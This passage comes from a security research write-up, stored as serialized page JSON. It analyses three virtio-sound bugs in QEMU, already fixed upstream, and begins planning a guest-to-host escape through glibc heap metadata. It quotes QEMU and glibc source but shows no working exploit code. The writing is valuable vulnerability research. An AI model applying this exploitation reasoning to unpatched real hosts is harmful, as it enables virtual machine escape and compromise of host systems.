write.",{"type":24,"tag":25,"props":132384,"children":132385},{},[132386,132388,132393,132395,132401,132403,132409,132411,132416,132418,132424,132426,132432,132434,132439,132441,132446],{"type":29,"value":132387},"Finally, at ",{"type":24,"tag":135,"props":132389,"children":132391},{"className":132390},[],[132392],{"type":29,"value":131237},{"type":29,"value":132394},", the code calls ",{"type":24,"tag":135,"props":132396,"children":132398},{"className":132397},[],[132399],{"type":29,"value":132400},"AUD_read",{"type":29,"value":132402}," with the following limit:\n",{"type":24,"tag":135,"props":132404,"children":132406},{"className":132405},[],[132407],{"type":29,"value":132408},"MIN(available, stream->params.period_bytes - buffer->size)",{"type":29,"value":132410},". Notice how this bound does not take ",{"type":24,"tag":135,"props":132412,"children":132414},{"className":132413},[],[132415],{"type":29,"value":132282},{"type":29,"value":132417}," into account at all. That means if ",{"type":24,"tag":135,"props":132419,"children":132421},{"className":132420},[],[132422],{"type":29,"value":132423},"available",{"type":29,"value":132425}," is larger than the allocated buffer, and ",{"type":24,"tag":135,"props":132427,"children":132429},{"className":132428},[],[132430],{"type":29,"value":132431},"stream->params.period_bytes",{"type":29,"value":132433}," is also larger than the allocated buffer, ",{"type":24,"tag":135,"props":132435,"children":132437},{"className":132436},[],[132438],{"type":29,"value":132400},{"type":29,"value":132440}," will write past the end of ",{"type":24,"tag":135,"props":132442,"children":132444},{"className":132443},[],[132445],{"type":29,"value":132345},{"type":29,"value":132447}," - the third, and final, bug we found.",{"type":24,"tag":25,"props":132449,"children":132450},{},[132451,132453,132458,132460,132466],{"type":29,"value":132452},"Looking further at the code, we can see that ",{"type":24,"tag":135,"props":132454,"children":132456},{"className":132455},[],[132457],{"type":29,"value":132431},{"type":29,"value":132459}," is fully guest-controlled by issuing a ",{"type":24,"tag":135,"props":132461,"children":132463},{"className":132462},[],[132464],{"type":29,"value":132465},"VIRTIO_SND_R_PCM_SET_PARAMS",{"type":29,"value":132467}," request:",{"type":24,"tag":261,"props":132469,"children":132471},{"code":132470,"language":578,"meta":7,"className":576,"style":7},"static\nuint32_t virtio_snd_set_pcm_params(VirtIOSound *s,\n uint32_t stream_id,\n virtio_snd_pcm_set_params *params)\n{\n virtio_snd_pcm_set_params *st_params;\n\n [...]\n\n st_params = virtio_snd_pcm_get_params(s, stream_id);\n\n [...]\n\n st_params->buffer_bytes = le32_to_cpu(params->buffer_bytes);\n st_params->period_bytes = le32_to_cpu(params->period_bytes);\n st_params->features = le32_to_cpu(params->features);\n /* the following are uint8_t, so there's no need to bswap the values. */\n st_params->channels = params->channels;\n st_params->format = params->format;\n st_params->rate = params->rate;\n\n return cpu_to_le32(VIRTIO_SND_S_OK);\n}\n",[132472],{"type":24,"tag":135,"props":132473,"children":132474},{"__ignoreMap":7},[132475,132483,132512,132529,132549,132556,132573,132580,132587,132594,132616,132623,132630,132637,132683,132726,132770,132778,132815,132851,132887,132894,132911],{"type":24,"tag":271,"props":132476,"children":132477},{"class":273,"line":274},[132478],{"type":24,"tag":271,"props":132479,"children":132480},{"style":278},[132481],{"type":29,"value":132482},"static\n",{"type":24,"tag":271,"props":132484,"children":132485},{"class":273,"line":284},[132486,132490,132495,132500,132504,132508],{"type":24,"tag":271,"props":132487,"children":132488},{"style":278},[132489],{"type":29,"value":7591},{"type":24,"tag":271,"props":132491,"children":132492},{"style":598},[132493],{"type":29,"value":132494}," virtio_snd_set_pcm_params",{"type":24,"tag":271,"props":132496,"children":132497},{"style":288},[132498],{"type":29,"value":132499},"(VirtIOSound ",{"type":24,"tag":271,"props":132501,"children":132502},{"style":624},[132503],{"type":29,"value":627},{"type":24,"tag":271,"props":132505,"children":132506},{"style":630},[132507],{"type":29,"value":18355},{"type":24,"tag":271,"props":132509,"children":132510},{"style":288},[132511],{"type":29,"value":638},{"type":24,"tag":271,"props":132513,"children":132514},{"class":273,"line":294},[132515,132520,132525],{"type":24,"tag":271,"props":132516,"children":132517},{"style":278},[132518],{"type":29,"value":132519}," uint32_t",{"type":24,"tag":271,"props":132521,"children":132522},{"style":630},[132523],{"type":29,"value":132524}," stream_id",{"type":24,"tag":271,"props":132526,"children":132527},{"style":288},[132528],{"type":29,"value":638},{"type":24,"tag":271,"props":132530,"children":132531},{"class":273,"line":303},[132532,132537,132541,132545],{"type":24,"tag":271,"props":132533,"children":132534},{"style":288},[132535],{"type":29,"value":132536}," virtio_snd_pcm_set_params ",{"type":24,"tag":271,"props":132538,"children":132539},{"style":624},[132540],{"type":29,"value":627},{"type":24,"tag":271,"props":132542,"children":132543},{"style":630},[132544],{"type":29,"value":105072},{"type":24,"tag":271,"props":132546,"children":132547},{"style":288},[132548],{"type":29,"value":694},{"type":24,"tag":271,"props":132550,"children":132551},{"class":273,"line":312},[132552],{"type":24,"tag":271,"props":132553,"children":132554},{"style":288},[132555],{"type":29,"value":702},{"type":24,"tag":271,"props":132557,"children":132558},{"class":273,"line":321},[132559,132564,132568],{"type":24,"tag":271,"props":132560,"children":132561},{"style":288},[132562],{"type":29,"value":132563}," virtio_snd_pcm_set_params ",{"type":24,"tag":271,"props":132565,"children":132566},{"style":624},[132567],{"type":29,"value":627},{"type":24,"tag":271,"props":132569,"children":132570},{"style":288},[132571],{"type":29,"value":132572},"st_params;\n",{"type":24,"tag":271,"props":132574,"children":132575},{"class":273,"line":330},[132576],{"type":24,"tag":271,"props":132577,"children":132578},{"emptyLinePlaceholder":16},[132579],{"type":29,"value":327},{"type":24,"tag":271,"props":132581,"children":132582},{"class":273,"line":339},[132583],{"type":24,"tag":271,"props":132584,"children":132585},{"style":288},[132586],{"type":29,"value":111591},{"type":24,"tag":271,"props":132588,"children":132589},{"class":273,"line":347},[132590],{"type":24,"tag":271,"props":132591,"children":132592},{"emptyLinePlaceholder":16},[132593],{"type":29,"value":327},{"type":24,"tag":271,"props":132595,"children":132596},{"class":273,"line":356},[132597,132602,132606,132611],{"type":24,"tag":271,"props":132598,"children":132599},{"style":288},[132600],{"type":29,"value":132601}," st_params ",{"type":24,"tag":271,"props":132603,"children":132604},{"style":624},[132605],{"type":29,"value":762},{"type":24,"tag":271,"props":132607,"children":132608},{"style":598},[132609],{"type":29,"value":132610}," virtio_snd_pcm_get_params",{"type":24,"tag":271,"props":132612,"children":132613},{"style":288},[132614],{"type":29,"value":132615},"(s, stream_id);\n",{"type":24,"tag":271,"props":132617,"children":132618},{"class":273,"line":365},[132619],{"type":24,"tag":271,"props":132620,"children":132621},{"emptyLinePlaceholder":16},[132622],{"type":29,"value":327},{"type":24,"tag":271,"props":132624,"children":132625},{"class":273,"line":374},[132626],{"type":24,"tag":271,"props":132627,"children":132628},{"style":288},[132629],{"type":29,"value":111591},{"type":24,"tag":271,"props":132631,"children":132632},{"class":273,"line":384},[132633],{"type":24,"tag":271,"props":132634,"children":132635},{"emptyLinePlaceholder":16},[132636],{"type":29,"value":327},{"type":24,"tag":271,"props":132638,"children":132639},{"class":273,"line":393},[132640,132645,132649,132654,132658,132663,132667,132671,132675,132679],{"type":24,"tag":271,"props":132641,"children":132642},{"style":630},[132643],{"type":29,"value":132644}," st_params",{"type":24,"tag":271,"props":132646,"children":132647},{"style":288},[132648],{"type":29,"value":786},{"type":24,"tag":271,"props":132650,"children":132651},{"style":630},[132652],{"type":29,"value":132653},"buffer_bytes",{"type":24,"tag":271,"props":132655,"children":132656},{"style":624},[132657],{"type":29,"value":1712},{"type":24,"tag":271,"props":132659,"children":132660},{"style":598},[132661],{"type":29,"value":132662}," le32_to_cpu",{"type":24,"tag":271,"props":132664,"children":132665},{"style":288},[132666],{"type":29,"value":606},{"type":24,"tag":271,"props":132668,"children":132669},{"style":630},[132670],{"type":29,"value":105072},{"type":24,"tag":271,"props":132672,"children":132673},{"style":288},[132674],{"type":29,"value":786},{"type":24,"tag":271,"props":132676,"children":132677},{"style":630},[132678],{"type":29,"value":132653},{"type":24,"tag":271,"props":132680,"children":132681},{"style":288},[132682],{"type":29,"value":1155},{"type":24,"tag":271,"props":132684,"children":132685},{"class":273,"line":402},[132686,132690,132694,132698,132702,132706,132710,132714,132718,132722],{"type":24,"tag":271,"props":132687,"children":132688},{"style":630},[132689],{"type":29,"value":132644},{"type":24,"tag":271,"props":132691,"children":132692},{"style":288},[132693],{"type":29,"value":786},{"type":24,"tag":271,"props":132695,"children":132696},{"style":630},[132697],{"type":29,"value":132103},{"type":24,"tag":271,"props":132699,"children":132700},{"style":624},[132701],{"type":29,"value":1712},{"type":24,"tag":271,"props":132703,"children":132704},{"style":598},[132705],{"type":29,"value":132662},{"type":24,"tag":271,"props":132707,"children":132708},{"style":288},[132709],{"type":29,"value":606},{"type":24,"tag":271,"props":132711,"children":132712},{"style":630},[132713],{"type":29,"value":105072},{"type":24,"tag":271,"props":132715,"children":132716},{"style":288},[132717],{"type":29,"value":786},{"type":24,"tag":271,"props":132719,"children":132720},{"style":630},[132721],{"type":29,"value":132103},{"type":24,"tag":271,"props":132723,"children":132724},{"style":288},[132725],{"type":29,"value":1155},{"type":24,"tag":271,"props":132727,"children":132728},{"class":273,"line":411},[132729,132733,132737,132742,132746,132750,132754,132758,132762,132766],{"type":24,"tag":271,"props":132730,"children":132731},{"style":630},[132732],{"type":29,"value":132644},{"type":24,"tag":271,"props":132734,"children":132735},{"style":288},[132736],{"type":29,"value":786},{"type":24,"tag":271,"props":132738,"children":132739},{"style":630},[132740],{"type":29,"value":132741},"features",{"type":24,"tag":271,"props":132743,"children":132744},{"style":624},[132745],{"type":29,"value":1712},{"type":24,"tag":271,"props":132747,"children":132748},{"style":598},[132749],{"type":29,"value":132662},{"type":24,"tag":271,"props":132751,"children":132752},{"style":288},[132753],{"type":29,"value":606},{"type":24,"tag":271,"props":132755,"children":132756},{"style":630},[132757],{"type":29,"value":105072},{"type":24,"tag":271,"props":132759,"children":132760},{"style":288},[132761],{"type":29,"value":786},{"type":24,"tag":271,"props":132763,"children":132764},{"style":630},[132765],{"type":29,"value":132741},{"type":24,"tag":271,"props":132767,"children":132768},{"style":288},[132769],{"type":29,"value":1155},{"type":24,"tag":271,"props":132771,"children":132772},{"class":273,"line":420},[132773],{"type":24,"tag":271,"props":132774,"children":132775},{"style":2058},[132776],{"type":29,"value":132777}," /* the following are uint8_t, so there's no need to bswap the values. */\n",{"type":24,"tag":271,"props":132779,"children":132780},{"class":273,"line":429},[132781,132785,132789,132794,132798,132803,132807,132811],{"type":24,"tag":271,"props":132782,"children":132783},{"style":630},[132784],{"type":29,"value":132644},{"type":24,"tag":271,"props":132786,"children":132787},{"style":288},[132788],{"type":29,"value":786},{"type":24,"tag":271,"props":132790,"children":132791},{"style":630},[132792],{"type":29,"value":132793},"channels",{"type":24,"tag":271,"props":132795,"children":132796},{"style":624},[132797],{"type":29,"value":1712},{"type":24,"tag":271,"props":132799,"children":132800},{"style":630},[132801],{"type":29,"value":132802}," params",{"type":24,"tag":271,"props":132804,"children":132805},{"style":288},[132806],{"type":29,"value":786},{"type":24,"tag":271,"props":132808,"children":132809},{"style":630},[132810],{"type":29,"value":132793},{"type":24,"tag":271,"props":132812,"children":132813},{"style":288},[132814],{"type":29,"value":1069},{"type":24,"tag":271,"props":132816,"children":132817},{"class":273,"line":438},[132818,132822,132826,132831,132835,132839,132843,132847],{"type":24,"tag":271,"props":132819,"children":132820},{"style":630},[132821],{"type":29,"value":132644},{"type":24,"tag":271,"props":132823,"children":132824},{"style":288},[132825],{"type":29,"value":786},{"type":24,"tag":271,"props":132827,"children":132828},{"style":630},[132829],{"type":29,"value":132830},"format",{"type":24,"tag":271,"props":132832,"children":132833},{"style":624},[132834],{"type":29,"value":1712},{"type":24,"tag":271,"props":132836,"children":132837},{"style":630},[132838],{"type":29,"value":132802},{"type":24,"tag":271,"props":132840,"children":132841},{"style":288},[132842],{"type":29,"value":786},{"type":24,"tag":271,"props":132844,"children":132845},{"style":630},[132846],{"type":29,"value":132830},{"type":24,"tag":271,"props":132848,"children":132849},{"style":288},[132850],{"type":29,"value":1069},{"type":24,"tag":271,"props":132852,"children":132853},{"class":273,"line":447},[132854,132858,132862,132867,132871,132875,132879,132883],{"type":24,"tag":271,"props":132855,"children":132856},{"style":630},[132857],{"type":29,"value":132644},{"type":24,"tag":271,"props":132859,"children":132860},{"style":288},[132861],{"type":29,"value":786},{"type":24,"tag":271,"props":132863,"children":132864},{"style":630},[132865],{"type":29,"value":132866},"rate",{"type":24,"tag":271,"props":132868,"children":132869},{"style":624},[132870],{"type":29,"value":1712},{"type":24,"tag":271,"props":132872,"children":132873},{"style":630},[132874],{"type":29,"value":132802},{"type":24,"tag":271,"props":132876,"children":132877},{"style":288},[132878],{"type":29,"value":786},{"type":24,"tag":271,"props":132880,"children":132881},{"style":630},[132882],{"type":29,"value":132866},{"type":24,"tag":271,"props":132884,"children":132885},{"style":288},[132886],{"type":29,"value":1069},{"type":24,"tag":271,"props":132888,"children":132889},{"class":273,"line":455},[132890],{"type":24,"tag":271,"props":132891,"children":132892},{"emptyLinePlaceholder":16},[132893],{"type":29,"value":327},{"type":24,"tag":271,"props":132895,"children":132896},{"class":273,"line":464},[132897,132901,132906],{"type":24,"tag":271,"props":132898,"children":132899},{"style":749},[132900],{"type":29,"value":9640},{"type":24,"tag":271,"props":132902,"children":132903},{"style":598},[132904],{"type":29,"value":132905}," cpu_to_le32",{"type":24,"tag":271,"props":132907,"children":132908},{"style":288},[132909],{"type":29,"value":132910},"(VIRTIO_SND_S_OK);\n",{"type":24,"tag":271,"props":132912,"children":132913},{"class":273,"line":473},[132914],{"type":24,"tag":271,"props":132915,"children":132916},{"style":288},[132917],{"type":29,"value":1171},{"type":24,"tag":25,"props":132919,"children":132920},{},[132921,132923,132928,132930,132936,132938,132943,132945,132950,132952,132958,132959,132964],{"type":29,"value":132922},"Among the guest-controlled PCM parameters, format matters later for exploit reliability. For 8-bit PCM, QEMU accepts both unsigned (",{"type":24,"tag":135,"props":132924,"children":132926},{"className":132925},[],[132927],{"type":29,"value":11148},{"type":29,"value":132929},") and signed (",{"type":24,"tag":135,"props":132931,"children":132933},{"className":132932},[],[132934],{"type":29,"value":132935},"s8",{"type":29,"value":132937},") samples. They encode the same waveform differently - silence is ",{"type":24,"tag":135,"props":132939,"children":132941},{"className":132940},[],[132942],{"type":29,"value":37114},{"type":29,"value":132944}," in ",{"type":24,"tag":135,"props":132946,"children":132948},{"className":132947},[],[132949],{"type":29,"value":11148},{"type":29,"value":132951},", but ",{"type":24,"tag":135,"props":132953,"children":132955},{"className":132954},[],[132956],{"type":29,"value":132957},"0x00",{"type":29,"value":132944},{"type":24,"tag":135,"props":132960,"children":132962},{"className":132961},[],[132963],{"type":29,"value":132935},{"type":29,"value":41},{"type":24,"tag":26485,"props":132966,"children":132967},{},[],{"type":24,"tag":25,"props":132969,"children":132970},{},[132971],{"type":29,"value":132972},"To summarize:",{"type":24,"tag":3834,"props":132974,"children":132975},{},[132976,132995,133013],{"type":24,"tag":101,"props":132977,"children":132978},{},[132979,132981,132986,132988,132993],{"type":29,"value":132980},"an integer underflow in the ",{"type":24,"tag":135,"props":132982,"children":132984},{"className":132983},[],[132985],{"type":29,"value":131050},{"type":29,"value":132987}," calculation in ",{"type":24,"tag":135,"props":132989,"children":132991},{"className":132990},[],[132992],{"type":29,"value":130555},{"type":29,"value":132994},", resulting in an 8-byte (or less) under-allocation",{"type":24,"tag":101,"props":132996,"children":132997},{},[132998,133000,133005,133006,133011],{"type":29,"value":132999},"a mismatch in the ",{"type":24,"tag":135,"props":133001,"children":133003},{"className":133002},[],[133004],{"type":29,"value":132282},{"type":29,"value":132987},{"type":24,"tag":135,"props":133007,"children":133009},{"className":133008},[],[133010],{"type":29,"value":132380},{"type":29,"value":133012},", leading to at most 8-byte OOB write",{"type":24,"tag":101,"props":133014,"children":133015},{},[133016,133018,133023,133025,133030,133032,133037],{"type":29,"value":133017},"a missing bound in the ",{"type":24,"tag":135,"props":133019,"children":133021},{"className":133020},[],[133022],{"type":29,"value":131050},{"type":29,"value":133024}," passed to ",{"type":24,"tag":135,"props":133026,"children":133028},{"className":133027},[],[133029],{"type":29,"value":132400},{"type":29,"value":133031},", which does not take the actual buffer allocation size into account and can therefore lead to an OOB write of an arbitrary length, up to ",{"type":24,"tag":135,"props":133033,"children":133035},{"className":133034},[],[133036],{"type":29,"value":132423},{"type":29,"value":89079},{"type":24,"tag":25,"props":133039,"children":133040},{},[133041,133043,133048,133050,133055,133057,133063],{"type":29,"value":133042},"In our exploit, we focus on the third bug because it provides the largest overflow and therefore the most useful primitive. In practice, the actual write is still bounded by ",{"type":24,"tag":135,"props":133044,"children":133046},{"className":133045},[],[133047],{"type":29,"value":132423},{"type":29,"value":133049},", but in our setup with the ALSA backend, ",{"type":24,"tag":135,"props":133051,"children":133053},{"className":133052},[],[133054],{"type":29,"value":132423},{"type":29,"value":133056}," was consistently around ",{"type":24,"tag":135,"props":133058,"children":133060},{"className":133059},[],[133061],{"type":29,"value":133062},"4096",{"type":29,"value":41},{"type":24,"tag":25,"props":133065,"children":133066},{},[133067,133069,133076,133077,133084],{"type":29,"value":133068},"It is also worth noting that the timing here was particularly unlucky - these bugs had been present in QEMU for over two years, but they were fixed (",{"type":24,"tag":32,"props":133070,"children":133073},{"href":133071,"rel":133072},"https://github.com/qemu/qemu/commit/bcb53328aa70023f1405fade4e253e7f77567261",[36],[133074],{"type":29,"value":133075},"commit 1",{"type":29,"value":158},{"type":24,"tag":32,"props":133078,"children":133081},{"href":133079,"rel":133080},"https://github.com/qemu/qemu/commit/7994203bb1b83a6604f3ab00fe9598909bb66164",[36],[133082],{"type":29,"value":133083},"commit 2",{"type":29,"value":133085},") in the very same week that we independently found them while manually reviewing the code.",{"type":24,"tag":62,"props":133087,"children":133088},{"id":106898},[133089],{"type":29,"value":106901},{"type":24,"tag":25,"props":133091,"children":133092},{},[133093],{"type":29,"value":133094},"Each of these bugs is in the audio input path. Since that audio input comes from the host side, the bytes written out of bounds are not controlled by the guest and, from the exploit perspective, can be treated as effectively random.",{"type":24,"tag":25,"props":133096,"children":133097},{},[133098],{"type":29,"value":133099},"This gives an interesting challenge: how do you exploit an out-of-bounds write when you do not control the data being written?",{"type":24,"tag":85,"props":133101,"children":133103},{"id":133102},"achieving-a-better-primitive",[133104],{"type":29,"value":133105},"Achieving a Better Primitive",{"type":24,"tag":25,"props":133107,"children":133108},{},[133109],{"type":29,"value":133110},"The first idea that comes to mind is to target some kind of size or offset field. The goal is to make that field as small as possible initially, trigger the overflow, and rely on the corrupted bytes being larger than the original value. Such scenario would transform a weak primitive into a much more useful one, giving us a better starting point for the rest of the exploit.",{"type":24,"tag":25,"props":133112,"children":133113},{},[133114],{"type":29,"value":133115},"However, after searching QEMU for such objects we didn't find a suitable target. The main problem was that, in most cases, the field we wanted to corrupt was preceded by one or more pointers. That would have been acceptable if those pointers were unused, but in every candidate object we examined they were still live. As a result, the heap overflow would corrupt them with effectively random bytes, causing an invalid dereference and crashing QEMU before we could achieve our desired guest-to-host escape.",{"type":24,"tag":25,"props":133117,"children":133118},{},[133119],{"type":29,"value":133120},"At that point, we turned our attention to the glibc allocator. This is usually not the first choice in such targets - allocator techniques are often more version-specific and less portable than program-specific primitives (for example, type confusion on known object layouts). So allocator attacks are often a fallback once object-level paths are exhausted.",{"type":24,"tag":26585,"props":133122,"children":133124},{"id":133123},"glibc-allocator",[133125],{"type":29,"value":133126},"Glibc Allocator",{"type":24,"tag":25,"props":133128,"children":133129},{},[133130,133132,133139],{"type":29,"value":133131},"The glibc allocator has already been studied and documented extensively, so we will only cover the basics relevant to this exploit. A good resource for both current and older attack techniques is ",{"type":24,"tag":32,"props":133133,"children":133136},{"href":133134,"rel":133135},"https://github.com/shellphish/how2heap",[36],[133137],{"type":29,"value":133138},"how2heap",{"type":29,"value":41},{"type":24,"tag":45014,"props":133141,"children":133143},{"id":133142},"chunk-layout-and-bins",[133144],{"type":29,"value":133145},"Chunk Layout and Bins",{"type":24,"tag":25,"props":133147,"children":133148},{},[133149],{"type":29,"value":133150},"A chunk looks like this:",{"type":24,"tag":261,"props":133152,"children":133154},{"code":133153}," +0x0 +0x8\n +-------------+-------------+\n | prev_size | size |\n +---------------------------+\n+0x10 | 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n | |\n | . . . |\n",[133155],{"type":24,"tag":135,"props":133156,"children":133157},{"__ignoreMap":7},[133158],{"type":29,"value":133153},{"type":24,"tag":25,"props":133160,"children":133161},{},[133162,133164,133170,133172,133178,133179,133184,133185,133191,133193,133198,133200,133205,133207,133213,133214,133220,133222,133228],{"type":29,"value":133163},"The first 16 bytes form the chunk header. It consists of the ",{"type":24,"tag":135,"props":133165,"children":133167},{"className":133166},[],[133168],{"type":29,"value":133169},"prev_size",{"type":29,"value":133171}," field at offset ",{"type":24,"tag":135,"props":133173,"children":133175},{"className":133174},[],[133176],{"type":29,"value":133177},"0x0",{"type":29,"value":45218},{"type":24,"tag":135,"props":133180,"children":133182},{"className":133181},[],[133183],{"type":29,"value":131050},{"type":29,"value":133171},{"type":24,"tag":135,"props":133186,"children":133188},{"className":133187},[],[133189],{"type":29,"value":133190},"0x8",{"type":29,"value":133192},". As the name suggests, ",{"type":24,"tag":135,"props":133194,"children":133196},{"className":133195},[],[133197],{"type":29,"value":133169},{"type":29,"value":133199}," stores the size of the previous chunk and is only used when that chunk is free, while ",{"type":24,"tag":135,"props":133201,"children":133203},{"className":133202},[],[133204],{"type":29,"value":131050},{"type":29,"value":133206}," stores the size of the current chunk and three special bits of which ",{"type":24,"tag":135,"props":133208,"children":133210},{"className":133209},[],[133211],{"type":29,"value":133212},"PREV_INUSE",{"type":29,"value":518},{"type":24,"tag":135,"props":133215,"children":133217},{"className":133216},[],[133218],{"type":29,"value":133219},"IS_MMAPPED",{"type":29,"value":133221}," are relevant for this blog post. The actual chunk data begins at offset ",{"type":24,"tag":135,"props":133223,"children":133225},{"className":133224},[],[133226],{"type":29,"value":133227},"0x10",{"type":29,"value":41},{"type":24,"tag":25,"props":133230,"children":133231},{},[133232],{"type":29,"value":133233},"Freed chunks are organized into different bins depending on their size and state. For this writeup, the important one is the per-thread cache, or tcache. Tcache stores recently freed chunks in size-segregated singly linked lists and is generally the first place glibc looks when servicing small allocations.",{"type":24,"tag":45014,"props":133235,"children":133237},{"id":133236},"free-path",[133238],{"type":29,"value":133239},"free() path",{"type":24,"tag":25,"props":133241,"children":133242},{},[133243,133245,133251],{"type":29,"value":133244},"Let’s first look at the ",{"type":24,"tag":135,"props":133246,"children":133248},{"className":133247},[],[133249],{"type":29,"value":133250},"free()",{"type":29,"value":133252}," path in glibc 2.40:",{"type":24,"tag":261,"props":133254,"children":133256},{"code":133255,"language":578,"meta":7,"className":576,"style":7},"__libc_free (void *mem)\n{\n mstate ar_ptr;\n mchunkptr p;\n\n p = mem2chunk (mem);\n if (chunk_is_mmapped (p))\n {\n munmap_chunk (p);\n }\n else\n {\n MAYBE_INIT_TCACHE ();\n\n ar_ptr = arena_for_chunk (p);\n _int_free (ar_ptr, p, 0);\n }\n}\n",[133257],{"type":24,"tag":135,"props":133258,"children":133259},{"__ignoreMap":7},[133260,133288,133295,133303,133311,133318,133340,133361,133368,133381,133388,133396,133403,133416,133423,133444,133465,133472],{"type":24,"tag":271,"props":133261,"children":133262},{"class":273,"line":274},[133263,133268,133272,133276,133280,133284],{"type":24,"tag":271,"props":133264,"children":133265},{"style":598},[133266],{"type":29,"value":133267},"__libc_free",{"type":24,"tag":271,"props":133269,"children":133270},{"style":288},[133271],{"type":29,"value":1357},{"type":24,"tag":271,"props":133273,"children":133274},{"style":278},[133275],{"type":29,"value":1205},{"type":24,"tag":271,"props":133277,"children":133278},{"style":624},[133279],{"type":29,"value":3895},{"type":24,"tag":271,"props":133281,"children":133282},{"style":630},[133283],{"type":29,"value":48330},{"type":24,"tag":271,"props":133285,"children":133286},{"style":288},[133287],{"type":29,"value":694},{"type":24,"tag":271,"props":133289,"children":133290},{"class":273,"line":284},[133291],{"type":24,"tag":271,"props":133292,"children":133293},{"style":288},[133294],{"type":29,"value":702},{"type":24,"tag":271,"props":133296,"children":133297},{"class":273,"line":294},[133298],{"type":24,"tag":271,"props":133299,"children":133300},{"style":288},[133301],{"type":29,"value":133302}," mstate ar_ptr;\n",{"type":24,"tag":271,"props":133304,"children":133305},{"class":273,"line":303},[133306],{"type":24,"tag":271,"props":133307,"children":133308},{"style":288},[133309],{"type":29,"value":133310}," mchunkptr p;\n",{"type":24,"tag":271,"props":133312,"children":133313},{"class":273,"line":312},[133314],{"type":24,"tag":271,"props":133315,"children":133316},{"emptyLinePlaceholder":16},[133317],{"type":29,"value":327},{"type":24,"tag":271,"props":133319,"children":133320},{"class":273,"line":321},[133321,133326,133330,133335],{"type":24,"tag":271,"props":133322,"children":133323},{"style":288},[133324],{"type":29,"value":133325}," p ",{"type":24,"tag":271,"props":133327,"children":133328},{"style":624},[133329],{"type":29,"value":762},{"type":24,"tag":271,"props":133331,"children":133332},{"style":598},[133333],{"type":29,"value":133334}," mem2chunk",{"type":24,"tag":271,"props":133336,"children":133337},{"style":288},[133338],{"type":29,"value":133339}," (mem);\n",{"type":24,"tag":271,"props":133341,"children":133342},{"class":273,"line":330},[133343,133347,133351,133356],{"type":24,"tag":271,"props":133344,"children":133345},{"style":749},[133346],{"type":29,"value":956},{"type":24,"tag":271,"props":133348,"children":133349},{"style":288},[133350],{"type":29,"value":1357},{"type":24,"tag":271,"props":133352,"children":133353},{"style":598},[133354],{"type":29,"value":133355},"chunk_is_mmapped",{"type":24,"tag":271,"props":133357,"children":133358},{"style":288},[133359],{"type":29,"value":133360}," (p))\n",{"type":24,"tag":271,"props":133362,"children":133363},{"class":273,"line":339},[133364],{"type":24,"tag":271,"props":133365,"children":133366},{"style":288},[133367],{"type":29,"value":4203},{"type":24,"tag":271,"props":133369,"children":133370},{"class":273,"line":347},[133371,133376],{"type":24,"tag":271,"props":133372,"children":133373},{"style":598},[133374],{"type":29,"value":133375}," munmap_chunk",{"type":24,"tag":271,"props":133377,"children":133378},{"style":288},[133379],{"type":29,"value":133380}," (p);\n",{"type":24,"tag":271,"props":133382,"children":133383},{"class":273,"line":356},[133384],{"type":24,"tag":271,"props":133385,"children":133386},{"style":288},[133387],{"type":29,"value":4385},{"type":24,"tag":271,"props":133389,"children":133390},{"class":273,"line":365},[133391],{"type":24,"tag":271,"props":133392,"children":133393},{"style":749},[133394],{"type":29,"value":133395}," else\n",{"type":24,"tag":271,"props":133397,"children":133398},{"class":273,"line":374},[133399],{"type":24,"tag":271,"props":133400,"children":133401},{"style":288},[133402],{"type":29,"value":4203},{"type":24,"tag":271,"props":133404,"children":133405},{"class":273,"line":384},[133406,133411],{"type":24,"tag":271,"props":133407,"children":133408},{"style":598},[133409],{"type":29,"value":133410}," MAYBE_INIT_TCACHE",{"type":24,"tag":271,"props":133412,"children":133413},{"style":288},[133414],{"type":29,"value":133415}," ();\n",{"type":24,"tag":271,"props":133417,"children":133418},{"class":273,"line":393},[133419],{"type":24,"tag":271,"props":133420,"children":133421},{"emptyLinePlaceholder":16},[133422],{"type":29,"value":327},{"type":24,"tag":271,"props":133424,"children":133425},{"class":273,"line":402},[133426,133431,133435,133440],{"type":24,"tag":271,"props":133427,"children":133428},{"style":288},[133429],{"type":29,"value":133430}," ar_ptr ",{"type":24,"tag":271,"props":133432,"children":133433},{"style":624},[133434],{"type":29,"value":762},{"type":24,"tag":271,"props":133436,"children":133437},{"style":598},[133438],{"type":29,"value":133439}," arena_for_chunk",{"type":24,"tag":271,"props":133441,"children":133442},{"style":288},[133443],{"type":29,"value":133380},{"type":24,"tag":271,"props":133445,"children":133446},{"class":273,"line":411},[133447,133452,133457,133461],{"type":24,"tag":271,"props":133448,"children":133449},{"style":598},[133450],{"type":29,"value":133451}," _int_free",{"type":24,"tag":271,"props":133453,"children":133454},{"style":288},[133455],{"type":29,"value":133456}," (ar_ptr, p, ",{"type":24,"tag":271,"props":133458,"children":133459},{"style":477},[133460],{"type":29,"value":4121},{"type":24,"tag":271,"props":133462,"children":133463},{"style":288},[133464],{"type":29,"value":1155},{"type":24,"tag":271,"props":133466,"children":133467},{"class":273,"line":420},[133468],{"type":24,"tag":271,"props":133469,"children":133470},{"style":288},[133471],{"type":29,"value":4385},{"type":24,"tag":271,"props":133473,"children":133474},{"class":273,"line":429},[133475],{"type":24,"tag":271,"props":133476,"children":133477},{"style":288},[133478],{"type":29,"value":1171},{"type":24,"tag":25,"props":133480,"children":133481},{},[133482,133484,133489,133491,133496,133498,133504,133506,133512,133514,133519,133521,133526,133528,133533,133535,133540],{"type":29,"value":133483},"We can see that if the ",{"type":24,"tag":135,"props":133485,"children":133487},{"className":133486},[],[133488],{"type":29,"value":133219},{"type":29,"value":133490}," bit is set in the corrupted ",{"type":24,"tag":135,"props":133492,"children":133494},{"className":133493},[],[133495],{"type":29,"value":131050},{"type":29,"value":133497}," field, glibc will call ",{"type":24,"tag":135,"props":133499,"children":133501},{"className":133500},[],[133502],{"type":29,"value":133503},"munmap_chunk",{"type":29,"value":133505},", which internally checks that ",{"type":24,"tag":135,"props":133507,"children":133509},{"className":133508},[],[133510],{"type":29,"value":133511},"prev_size + size",{"type":29,"value":133513}," is page-aligned. To reach the ",{"type":24,"tag":135,"props":133515,"children":133517},{"className":133516},[],[133518],{"type":29,"value":131050},{"type":29,"value":133520}," field, we first have to overwrite the entire 8-byte ",{"type":24,"tag":135,"props":133522,"children":133524},{"className":133523},[],[133525],{"type":29,"value":133169},{"type":29,"value":133527}," field with uncontrolled data. The chance that a corrupted ",{"type":24,"tag":135,"props":133529,"children":133531},{"className":133530},[],[133532],{"type":29,"value":133511},{"type":29,"value":133534}," value still ends up page-aligned is extremely small. In practice, if 